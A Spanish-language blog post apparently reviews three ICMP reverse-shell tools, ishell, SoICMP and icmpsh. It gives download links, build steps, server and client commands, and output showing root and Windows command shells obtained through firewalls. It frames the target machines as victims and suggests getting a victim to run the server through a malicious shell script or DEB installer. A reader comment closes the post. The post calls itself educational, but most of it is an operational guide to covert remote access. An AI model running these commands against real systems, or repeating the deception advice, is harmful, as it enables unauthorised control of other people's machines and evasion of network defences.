ICMP (Internet Control Message Protocol) es un protocolo basado en mensajes que permite, entre otras cosas, consultar si un host remoto puede ser alcanzado, por ejemplo, cuando se ejecuta un comando ping especificando una dirección IP o un nombre de dominio, realmente se utiliza protocolo ICMP para determinar si el host objetivo se encuentra al alcance.
>ping google.com
PING google.com (209.85.147.106) 56(84) bytes of data. 64 bytes from bru01m01-in-f106.1e100.net (209.85.147.106): icmp_req=1 ttl=52 time=65.3 ms 64 bytes from bru01m01-in-f106.1e100.net (209.85.147.106): icmp_req=2 ttl=52 time=65.2 ms 64 bytes from bru01m01-in-f106.1e100.net (209.85.147.106): icmp_req=3 ttl=52 time=64.0 ms |
Partiendo de este punto, frecuentemente nos encontramos que las peticiones salientes de una máquina utilizando este protocolo, rara vez son restringidas por los firewall, lo que permite utilizar este protocolo para realizar conexiones reversas, permitiendo a un atacante tener acceso a una consola en la máquina objetivo pasando por detrás de las restricciones del firewall, sin embargo, actualmente existen pocas herramientas que aprovechen esta potencial vulnerabilidad. En esta entrada se realizaré un análisis sobre algunas de las herramientas disponibles para este propósito, su uso y sus resultados, así como las ventajas y desventajas que tienen cada una de estas.
ICMP SHELL – ISHELL
Se trata de una herramienta que permite a un atacante conectarse a un host remoto utilizando únicamente protocolo ICMP, como prácticamente todas las herramientas que utilizan este enfoque, esta compuesta por dos elementos, por un lado esta el servidor que se ejecuta como un demonio en la máquina de la victima y por otro lado esta la ejecución del programa en la máquina del cliente (atacante) que establecerá una conexión hacia el servidor por el protocolo ICMP.
Para su instalación es necesario descargar el proyecto en primer lugar desde aquí: http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
Después de descargar y descomprimir el fichero, basta con ejecutar el comando “make” sobre el directorio raíz, especificando como parámetro la plataforma de ejecución (los valores validos son: linux, bsd y solaris)
>make linux
/bin/rm -f ish ishd gcc -O2 -Wall -o ish ish.c ish_main.c ish.c: In function ‘ish_prompt’: ish.c:65: warning: ignoring return value of ‘read’, declared with attribute warn_unused_result gcc -O2 -Wall -o ishd ishd.c ish_main.c ish_open.c ishd.c: In function ‘edaemon’: ishd.c:56: warning: ignoring return value of ‘chdir’, declared with attribute warn_unused_result ishd.c: In function ‘ish_listen’: ishd.c:92: warning: ignoring return value of ‘write’, declared with attribute warn_unused_result strip ish strip ishd |
Ya se encuentra compilado y listo para ser utilizado.
>/ishd -h
ICMP Shell v0.2 (server) – by: Peter Kieltyka usage: ./ishd [options] options: -h Display this screen -d Run server in debug mode -i Set session id; range: 0-65535 (default: 1515) -t Set ICMP type (default: 0) -p Set packet size (default: 512) example: ./ishd -i 65535 -t 0 -p 1024 |
Desde la máquina de la víctima (servidor) se debe conseguir ejecutar el siguiente comando:
>./ishd -d -p 1024 |
Si lo anterior se consigue ejecutar correctamente en la máquina remota, ahora un atacante podrá conectarse a dicha máquina de la siguiente forma:
>./ish -t 0 -p 1024 192.168.1.34
ICMP Shell v0.2 (client) – by: Peter Kieltyka ————————————————– Connecting to 192.168.1.34…done. # whoami root hostname debian |
Como puede apreciarse, con este sencillo mecanismo se ha logrado obtener una consola en la máquina remota utilizando ICMP con tipo 0 (ICMP_ECHO_REPLY para enviar y recibir paquetes) saltando las restricciones del firewall en la máquina comprometida.
Ahora bien, el lector probablemente se preguntará, como conseguir que la víctima ejecute dicho script en su máquina? En realidad no hay una respuesta sencilla a esta pregunta, aquí probablemente jugará un papel vital la habilidad del atacante para “engañar” a su víctima, dado que estamos tratando de maquinas GNU/Linux/UNIX, probablemente uno de los mejores mecanismos será entregando al cliente un fichero malicioso con este ejecutable, ya sea con simplemente un shell script o un fichero de instalación malicioso (como por ejemplo un fichero DEB que ejecute este script), nuevamente, aquí juega un papel crucial las habilidades de las que disponga el atacante.
Ventajas | Desventajas |
Facilidad de Uso | Se necesitan privilegios de Root para su ejecución en ambas máquinas, dado que utiliza sockets RAW. |
La conexión se establece completamente utilizando ICMP por lo que probablemente el firewall no la bloqueará | Solamente funciona en sistemas POSIX, lo que quiere decir que a la fecha no soporta plataformas Windows |
Parece ser que no se encuentra bajo desarrollo o mantenimiento desde el 2002. |
SoICMP
Partiendo del enfoque anteriormente explicado en el uso de ISHELL, SOICMP es otra herramienta que intenta conseguir los mismos resultados, es decir, enmascarar una conexión reversa entre víctima y atacante por medio de ICMP y el tráfico común que circula en las máquinas que en muchas ocasiones no es restringido por las reglas de un Firewall.
Sin embargo SOICMP tiene unas características que lo hacen un poco mas interesante que ISHELL, especialmente en el campo de la interoperabilidad, dado que es independiente de plataforma, lo que quiere decir que también soporta sistemas operativos Windows, algo que no se conseguía con ISHELL
Para instalarlo, es necesario en un sistema Linux, Windows, MacOS, etc. Es necesario obtenerlo desde http://billiejoex.altervista.org/Prj_Py_soicmp.shtml dependiendo de la plataforma.
NOTA: Es necesario tener instaladas algunas dependencias que se encuentran en la mayoría de repositorios de Ubuntu/Debian, sin embargo son librerías estándar que se encuentran incluidas en las extensiones de Python, por lo tanto es probable que no existan problemas al momento de ejecutar estos comandos.
Su uso es igual de sencillo que el de ISHELL, solamente basta con ejecutar el servidor, cliente y nada mas. Bajo un sistema operativo Linux es necesario ejecutar el programa con el interprete de Python o convertir el programa en ejecutable utilizando chmod.
El Programa servidor:
>python server.py -i eth0
server.py:24: DeprecationWarning: The popen2 module is deprecated. Use the subprocess module. import popen2 Shell over ICMP server v0.5 Started at: 2011-Jun-12 21:08:38 Total available interfaces: 6 Outgoing packets buffer: 512 Logging: False Listening on: Alias number: [0] Name: eth0 Net: 192.168.1.0 Mask: 255.255.255.0 |
Posteriormente en el lado del cliente se pueden enviar comandos que se ejecutaran en el lado del servidor, por ejemplo:
>python client.py –command=»ls» 192.168.1.33 dirAdastraPhotosMusic Changes >python client.py –command=»whoami» 192.168.1.33 root |
Como puede apreciarse se envía un comando arbitrario a la máquina objetivo y posteriormente retorna los resultados de dicho comando de vuelta a la máquina del atacante.
Ventajas | Desventajas |
Facilidad de uso e instalación | Se necesitan privilegios de Root para su ejecución en ambas máquinas, dado que utiliza sockets RAW. |
Independiente de plataforma, Escrito en Python. | Parece ser que no se encuentra bajo desarrollo o mantenimiento desde el 2006 |
Permite su ejecución sobre varias interfaces de red de forma simultanea, permitiendo manejar varias conexiones por varios canales | |
Permite ejecutar ataques de MITM y Spoofing. |
ICMPSH
Por ultimo (pero no menos importante) se encuentra ICMPSH, se trata de una herramienta que implementa el concepto de Consola reversa por medio de protocolo ICMP bastante bien, tiene una ventaja bastante valiosa en comparación con las otras 2 herramientas y es precisamente que no utiliza sockets RAW, ademas de que tanto slave (cliente) como master (servidor) no necesitan privilegios administrativos (root) para ser ejecutados correctamente, sin embargo el cliente (slave) solamente se ejecuta bajo sistemas operativos Windows (a la fecha de escribir esta publicación).
Por otro lado el concepto de cliente y servidor cambia un poco de las 2 herramientas anteriores, ya que en este caso, el cliente (slave) será la maquina objetivo y el servidor (master) sera la máquina del atacante, en este caso, el atacante iniciará un demonio en su máquina local esperando una conexión por parte del cliente (slave) una vez esta sea establecida, el atacante podrá acceder a la consola en la máquina remota.
Para usar esta herramienta es necesario descargarla en primer lugar desde: https://github.com/inquisb/icmpsh
Posteriormente de la máquina del atacante se debe proceder a la ejecución del siguiente comando.
>python icmpsh_m.py 192.168.1.33 192.168.1.40 |
En el caso anterior, la primera dirección IP corresponde a la dirección de origen, es decir, la dirección del atacante, mientras que la segunda dirección corresponde a la dirección del cliente, es decir, la dirección de la víctima.
En este punto el master creará un proceso que esperará a una conexión por parte del slave.
NOTA: La máquina del atacante debe establecer el valor de “1” al fichero /proc/sys/net/ipv4/icmp_echo_ignore_all para que las peticiones ICMP puedan ser transferidas correctamente entre master y slave, si este valor no es correctamente establecido no será posible crear una conexión por medio de ICMP.
Posteriormente desde el cliente se ejecuta el siguiente comando:
>icmpsh.exe -t 192.168.1.33 -d 500 -b 30 -s 128 |
Una vez este comando se ejecuta en la máquina de la víctima desde una consola DOS, se establece la conexión y en la máquina del atacante se verá lo siguiente
>python icmpsh_m.py 192.168.1.33 192.168.1.40
Microsoft Windows [Versión 6.1.7600] Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos. C:\Users\jdaanial\Downloads\inquisb-icmpsh>ipconfig ipconfig Configuración IP de Windows Adaptador de Ethernet Conexión de Área local: Sufijo DNS específico para la conexión. . : Vínculo: dirección IPv6 local. . . : fe80::e8a4:4ab1:a075:3f0a%11 Dirección IPv4. . . . . . . . . . . . . . : 192.168.1.40 Máscara de subred . . . . . . . . . . . . : 255.255.255.0 Puerta de enlace predeterminada . . . . . : 192.168.1.1 Adaptador de túnel isatap.{8119F162-D5F2-4AF0-864A-17E4856AAC1F}: Estado de los medios. . . . . . . . . . . : medios desconectados Sufijo DNS específico para la conexión. . : Adaptador de túnel Conexión de Área local* 4: Sufijo DNS específico para la conexión. . : Dirección IPv6 . . . . . . . . . . : 2001:0:5ef5:79fd:3803:150:3f57:fed7 Vínculo: dirección IPv6 local. . . : fe80::3803:150:3f57:fed7%13 C:\Users\jdaanial\Downloads\inquisb-icmpsh> |
Finalmente las opciones disponibles en ICMPSH (Slave) son:
C:\Users\jdaanial\Downloads\inquisb-icmpsh>icmpsh.exe -h icmpsh.exe [options] -t target options: -t host host ip address to send ping requests to -r send a single test icmp request and then quit -d milliseconds delay between requests in milliseconds (default is 200) -o milliseconds timeout in milliseconds -h this screen -b num maximal number of blanks (unanswered icmp requests) before quitting -s bytes maximal data buffer size in bytes (default is 64 bytes)In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer |
Ventajas | Desventajas |
Facilidad de uso y soporte a múltiples plataformas | El cliente (slave) solamente funciona en plataformas windows, por lo tanto las víctimas serán máquinas bajo plataforma windows |
No son necesarios privilegios administrativos para su ejecución en cliente ni en servidor | |
Se consigue evadir correctamente restricciones de Firewall en entornos donde no se restringen los paquetes que viajan por ICMP | |
No utiliza Sockets RAW por lo tanto no se hacen necesarios privilegios de ROOT para la ejecución del cliente o el servidor |
Finalmente, el objetivo de esta publicación es motivar al lector a profundizar en el código fuente de estas herramientas para conocer como consiguen hacer lo que hacen, se trata de herramientas no comerciales que en muchos casos han sido creadas simplemente por diversión o para realizar una prueba de conceptos teóricos, sin embargo es una excelente forma de adquirir conocimientos avanzados sobre ICMP y conseguir realizar un “bypass” de las reglas de un firewall.
Gracias, siempre voy complementando lo que me enseñan en la U con tus post 🙂
Me gustaMe gusta